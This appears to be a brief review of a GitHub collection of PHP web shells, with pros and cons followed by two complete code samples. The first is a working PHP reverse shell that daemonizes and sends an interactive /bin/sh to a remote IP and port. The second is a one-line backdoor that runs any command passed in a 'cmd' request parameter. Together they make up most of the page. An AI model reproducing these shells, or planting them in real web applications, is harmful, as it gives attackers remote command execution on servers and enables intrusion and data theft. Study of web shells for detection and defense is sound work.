The JohnTroony/php-webshells repository is a collection of various PHP-based web shells, which are small scripts that provide remote access and control over a web server. These web shells can be used for a variety of purposes, including system administration, penetration testing, and malicious activities.

Pros

• Provides a wide range of web shell options for different use cases
• Can be used for legitimate purposes, such as remote server management
• Allows for easy deployment and execution of the web shells

Cons

• The web shells can be used for malicious purposes, such as unauthorized access and data theft
• The repository may be considered a security risk and could be used by malicious actors
• The web shells may not be actively maintained or updated, potentially leading to security vulnerabilities

Code Examples

PHP Reverse Shell

<?php
// PHP Reverse Shell
$ip = '192.168.1.100';
$port = 4444;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();
    if ($pid == -1) {
        exit(1);
    }
    if ($pid) {
        exit(0);
    }
    if (posix_setsid() == -1) {
        exit(1);
    }
    $daemon = 1;
} else {
    $daemon = 0;
}

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);

$process = proc_open($shell, $descriptorspec, $pipes, null, null);

if (!is_resource($process)) {
    exit(1);
}

while (1) {
    if (feof($pipes[1])) {
        break;
    }
    if (feof($sock)) {
        break;
    }

    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    if (in_array($sock, $read_a)) {
        if ($debug) {
            echo "SOCK READ\n";
        }
        $input = fread($sock, $chunk_size);
        if ($debug) {
            echo "SOCK: $input\n";
        }
        fwrite($pipes[0], $input);
    }

    if (in_array($pipes[1], $read_a)) {
        if ($debug) {
            echo "STDOUT READ\n";
        }
        $output = fread($pipes[1], $chunk_size);
        if ($debug) {
            echo "STDOUT: $output\n";
        }
        fwrite($sock, $output);
    }

    if (in_array($pipes[2], $read_a)) {
        if ($debug) {
            echo "STDERR READ\n";
        }
        $output = fread($pipes[2], $chunk_size);
        if ($debug) {
            echo "STDERR: $output\n";
        }
        fwrite($sock, $output);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

This code implements a PHP reverse shell, which allows an attacker to execute commands on the target system and receive the output back on their own machine.

PHP Backdoor

<?php
// PHP Backdoor
if (isset($_REQUEST['cmd'])) {
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    die;
}